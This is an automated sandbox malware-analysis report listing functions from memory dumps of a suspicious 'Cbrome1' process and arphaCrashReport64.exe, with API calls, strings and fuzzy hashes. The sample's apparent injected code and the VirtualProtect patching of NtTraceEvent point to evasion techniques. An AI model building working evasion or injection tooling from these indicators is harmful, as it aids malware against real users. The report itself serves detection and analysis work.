Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: bfe95a894a55429828ef34a55f8df062f5672177a1a6d1b75b34fcf901080472
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: 6A118F75A41B40CAFB148F11F448B6A63B0FB64F60F5C6629DEDA022A5DB3CC6A1C702

Function 0000023A29E2303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000023A29E23071
RtlExitUserThread.NTDLL ref: 0000023A29E23079
GetCurrentThreadId.KERNEL32 ref: 0000023A29E23080
_freefls.LIBCMT ref: 0000023A29E230B1

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction ID: 010a831d4c49c71563b08afe55858cd149c4e37b199a7b452ac9055d8c98fe6a
Opcode Fuzzy Hash: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction Fuzzy Hash: F9013C38A00B4585EB04ABB1D40DF9E22B9BB09F84F14443C8DED47383FE3C86608322

Function 0000023A29E263FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E26402

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_getptd.LIBCMT ref: 0000023A29E26422
_lock.LIBCMT ref: 0000023A29E26435
_amsg_exit.LIBCMT ref: 0000023A29E26463

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction ID: 4a2f3f7abe3d73218de285061a55c08063c78b7bbf9a01af10ee17e65cf13c3d
Opcode Fuzzy Hash: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction Fuzzy Hash: BAF0F9B1A1224485FA54AB518859FEA12B0BB94F44F59123DDEDD0B3D2DA1C9A708712

Function 0000023A29E12A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 0000023A29E12A6F
CreateThread.KERNEL32 ref: 0000023A29E12A95
WaitForSingleObject.KERNEL32 ref: 0000023A29E12AA6
CloseHandle.KERNEL32 ref: 0000023A29E12AB1

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: 73c5c5a3f71e4d6b66c93c1c478b59a37dc23a711d0b03dc254a316e11bc8d63
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: BEF03C72618B8083E714CB65F85896B77B6F385B50F184229FEDA42B68CF3CC1658A04

Function 0000023A29E126D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0000023A29E12703
CancelIo.KERNEL32 ref: 0000023A29E1270D
closesocket.WS2_32 ref: 0000023A29E1271D
SetEvent.KERNEL32 ref: 0000023A29E1272A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: 84866ee03500a950204926ee12ca7d50e8f715d47e20534db752e516d610cd0e
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 1BF0F936204B4197E7118F26E54866AB370F789BA4F540229DFB943AE4CF79C5A9CB04

Function 0000023A295F1A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295F1AA0

Strings

csm, xrefs: 0000023A295F1BD7
csm, xrefs: 0000023A295F1ACD

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: e29326af33a908fa8e71e817f49b885681a84ae80e047f9465ae672c35ae4b00
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 98618430308A048FEBA49E68848976B73F1FB5AB21F54017DD8CDC7291D73899A9C787

Function 0000023A29E320C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E320E8

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Strings

csm, xrefs: 0000023A29E3221F
csm, xrefs: 0000023A29E32115

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 148a484ae616c4c34677629a38a03aec1c14261d8be1ae1285e3102ef5b21141
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: AA519F325043D086EB649E26D548B7E77B8B345F84F088139DED947B95CB3CCAA1CB0A

Function 0000023A29E2D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23334: _getptd.LIBCMT ref: 0000023A29E23346

_errno.LIBCMT ref: 0000023A29E2D84C
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E2D857

Strings

cmd.exe, xrefs: 0000023A29E2D82E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction ID: f1f866f05333eb034291648fde3a93c266de17f5b8c19689a1e5c0c5bf377952
Opcode Fuzzy Hash: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction Fuzzy Hash: CE21EA32E147C092F76587249458B6F67B0BB81FE4F28413BEFDA076C9DA2CC5918B02

Function 0000023A29E3620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E362CF

Strings

csm, xrefs: 0000023A29E36232
csm, xrefs: 0000023A29E3628B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: e8b4d28b9c863c88cd78c0e5a20506d358bdea6b842cc61052f2109757e441ad
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: 90310DB3100B44CADB608F66C4887A93B75F358F9DF4A1229EA8D0BB54C775C9A0C749

Function 0000023A29E3630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E30B80: _getptd.LIBCMT ref: 0000023A29E30B8D
Part of subcall function 0000023A29E30B80: _getptd.LIBCMT ref: 0000023A29E30BA0

_getptd.LIBCMT ref: 0000023A29E3636C
_getptd.LIBCMT ref: 0000023A29E3637F

Strings

csm, xrefs: 0000023A29E3632B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction ID: 001310ac4a1efa7fdbb8a5da006030980ca32b3058a2e29470461eebde5d54d1
Opcode Fuzzy Hash: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction Fuzzy Hash: B3014072500345C5DB749F32C499BBD23B8F795F59F5D0139CE8D0B646DB29C6A4830A

Function 0000023A29E2FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0000023A29E2FC36

Part of subcall function 0000023A29E2581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000023A29E23332), ref: 0000023A29E25897

std::exception::exception.LIBCMT ref: 0000023A29E2FC70

Part of subcall function 0000023A29E23854: std::exception::operator=.LIBCMT ref: 0000023A29E23870

Strings

regular expression error, xrefs: 0000023A29E2FC20

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction ID: b7a4291f7c603f0dc66823e589d3fc3241aa294a6da85fc991d5c4ee41c460de
Opcode Fuzzy Hash: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction Fuzzy Hash: 01F0AD32600B8AA2DB14DF50F58485A7370F388B84F54A029AFC947B29DB7CC6A9CB01

Function 0000023A29E1F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0000023A29E1F166
wsprintfW.USER32 ref: 0000023A29E1F184

Part of subcall function 0000023A29E1EF20: FindFirstFileW.KERNEL32 ref: 0000023A29E1EFF0

Strings

%s%s, xrefs: 0000023A29E1F175

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction ID: 1b91e6d53f9165bb85f798a6f3db7b829b543760defd7c9ec717ae590a0f7570
Opcode Fuzzy Hash: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction Fuzzy Hash: 85014431214B8181EA209B11F899BAB6370F788F88F445035EEDD07615DE3CC255C745

Function 0000023A295ED7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295ED7B6
__doserrno.LIBCMT ref: 0000023A295ED7C1

Strings

M, xrefs: 0000023A295ED7B0

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction ID: 9524690c581e67cd67e6f165198ce5b9f7f9c322f75a2b03e46ac49b3b5631e5
Opcode Fuzzy Hash: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction Fuzzy Hash: 1BE01AB220C6084DF7486F54E4463F83791FB43334F80916AE5EA865D2DA7F511A4746

Function 0000023A29E2DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E2DDFE
__doserrno.LIBCMT ref: 0000023A29E2DE09

Strings

M, xrefs: 0000023A29E2DDF8

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction ID: 098cc87d076feaa3dcbef9e2b331acb9e25c1347808e3742cff818ce56343c35
Opcode Fuzzy Hash: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction Fuzzy Hash: A3E0E67350054049F353AF64F44675A26506755B78F419225AFA80A6C2CA7C45D78B11

Function 0000023A295D5B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A295D5B43

Part of subcall function 0000023A295E36E0: _errno.LIBCMT ref: 0000023A295E3700

free.LIBCMT ref: 0000023A295D5B6B
free.LIBCMT ref: 0000023A295D5B85
free.LIBCMT ref: 0000023A295D5BB3

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: 85d7436b3e757b0b46c5767155c834cf05221d12d89f4213adec1aa74d37e14c
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 4B214A31314E094FEBA4EF698098B6673F1FB98700F4405BD988EC7296CE35E95A8741

Function 0000023A29E16150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A29E1618B

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

free.LIBCMT ref: 0000023A29E161B3
free.LIBCMT ref: 0000023A29E161CD
free.LIBCMT ref: 0000023A29E161FB

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction ID: 0f6b8a413425ef7c74a97935f6c6acc7d8562d63ef57ce4986fac2f115c96876
Opcode Fuzzy Hash: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction Fuzzy Hash: 1F215E32701B4081EA19AF12E6497AEA370FB94FD0F0865369F8E07B5BDF2CD9618341

Function 0000023A29E22020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A29E2209A
VirtualFree.KERNEL32(?,?,00000000,0000023A29E21EDE,?,?,?,0000023A29E1E182), ref: 0000023A29E220B5
GetProcessHeap.KERNEL32(?,?,00000000,0000023A29E21EDE,?,?,?,0000023A29E1E182), ref: 0000023A29E220BB
HeapFree.KERNEL32(?,?,00000000,0000023A29E21EDE,?,?,?,0000023A29E1E182), ref: 0000023A29E220C9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction ID: 4cba64f922ce10489305fc048899885abd17bd8ed118fa8d64759a9cd035c025
Opcode Fuzzy Hash: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction Fuzzy Hash: ED115E32A11B54C3EB58CF66D454B1E63B1FB84F84F095029DE8A13B58CF38C9A2CB81

Analysis Process: arphaCrashReport64.exePID: 4568, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	45.5%
Signature Coverage:	0%
Total number of Nodes:	972
Total number of Limit Nodes:	41

Executed Functions

Function 00007FF647D44FE0 Relevance: 65.1, APIs: 35, Strings: 2, Instructions: 398
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32 ref: 00007FF647D45028
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45059
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45094
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D450F1

Part of subcall function 00007FF647D42750: _CxxThrowException.LIBVCRUNTIME ref: 00007FF647D4276C

SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D450FE
LocalFree.KERNEL32 ref: 00007FF647D4511C
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45122
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45153
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45165
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45182
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D4519D
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D451AF
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D451CC
EnterCriticalSection.KERNEL32 ref: 00007FF647D45213
GetCurrentThreadId.KERNEL32 ref: 00007FF647D45219
LeaveCriticalSection.KERNEL32 ref: 00007FF647D45296
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D4529C

Strings

arpha_winlocaldumpexe, xrefs: 00007FF647D4507F
arpha_winlocaldumpdir, xrefs: 00007FF647D450BA

Memory Dump Source

Source File: 00000005.00000002.3990661643.00007FF647D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF647D40000, based on PE: true

Associated: 00000005.00000002.3990636126.00007FF647D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990714262.00007FF647D72000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990736221.00007FF647D75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff647d40000_arphaCrashReport64.jbxd

Similarity

API ID: Local$DumpWindow$CriticalSection$ArgvCommandCurrentEnterExceptionFreeLeaveLineThreadThrow
String ID: arpha_winlocaldumpdir$arpha_winlocaldumpexe
API String ID: 1478015506-3845740607
Opcode ID: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction ID: 501885e3e748edbf42f61e71146fda869ef5f1cff22dea6ca844280c4bb74a15
Opcode Fuzzy Hash: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction Fuzzy Hash: DB024B66A2CA42C6EB10FF65E8842AD73A1FB84B94F445335DA4E937A4DF3CE548D700

Function 00000210AE4C14C0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C1546
GetProcAddress.KERNEL32 ref: 00000210AE4C1559
GetProcAddress.KERNEL32 ref: 00000210AE4C156C
GetProcAddress.KERNEL32 ref: 00000210AE4C1581
GetProcAddress.KERNEL32 ref: 00000210AE4C1591
GetProcAddress.KERNEL32 ref: 00000210AE4C15A1
RegOpenKeyExA.KERNELBASE ref: 00000210AE4C15CC
lstrcpy.KERNEL32 ref: 00000210AE4C1771
RegCloseKey.KERNELBASE ref: 00000210AE4C1783
FreeLibrary.KERNEL32 ref: 00000210AE4C1796

Strings

RegEnumValueA, xrefs: 00000210AE4C1577
%08X, xrefs: 00000210AE4C171E
ADVAPI32.dll, xrefs: 00000210AE4C153F
RegEnumKeyExA, xrefs: 00000210AE4C1587
RegCloseKey, xrefs: 00000210AE4C1597
RegOpenKeyExA, xrefs: 00000210AE4C1562
RegQueryValueExA, xrefs: 00000210AE4C154F

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA
API String ID: 2622296002-2913591164
Opcode ID: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction ID: 007cfec084059d3bce05c009a66394223af4c529d6da3b18d0c25c19cd23d64b
Opcode Fuzzy Hash: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction Fuzzy Hash: 31713235225B8181EB60CB15E8887EA7368FFD97C4F645116EBCA43B68DFB8C585CB40

Function 00000210AE4C4530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000210AE4C455D
GetProcAddress.KERNEL32 ref: 00000210AE4C456D
LoadLibraryA.KERNEL32 ref: 00000210AE4C459E
GetProcAddress.KERNEL32 ref: 00000210AE4C45AE
VirtualProtect.KERNELBASE ref: 00000210AE4C45CF
VirtualProtect.KERNELBASE ref: 00000210AE4C45E7
lstrcpy.KERNEL32 ref: 00000210AE4C4603
CloseHandle.KERNEL32 ref: 00000210AE4C4640
CloseHandle.KERNEL32 ref: 00000210AE4C4665
CreateThread.KERNELBASE ref: 00000210AE4C46F7
WaitForSingleObject.KERNEL32 ref: 00000210AE4C4706
CloseHandle.KERNEL32 ref: 00000210AE4C470F

Strings

NtTerminateThread, xrefs: 00000210AE4C4563
ntdll.dll, xrefs: 00000210AE4C454E, 00000210AE4C4587
NtTraceEvent, xrefs: 00000210AE4C45A4
run, xrefs: 00000210AE4C466B
driver, xrefs: 00000210AE4C467B
Mov, xrefs: 00000210AE4C4715

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Handle$Close$AddressProcProtectVirtual$CreateLibraryLoadModuleObjectSingleThreadWaitlstrcpy
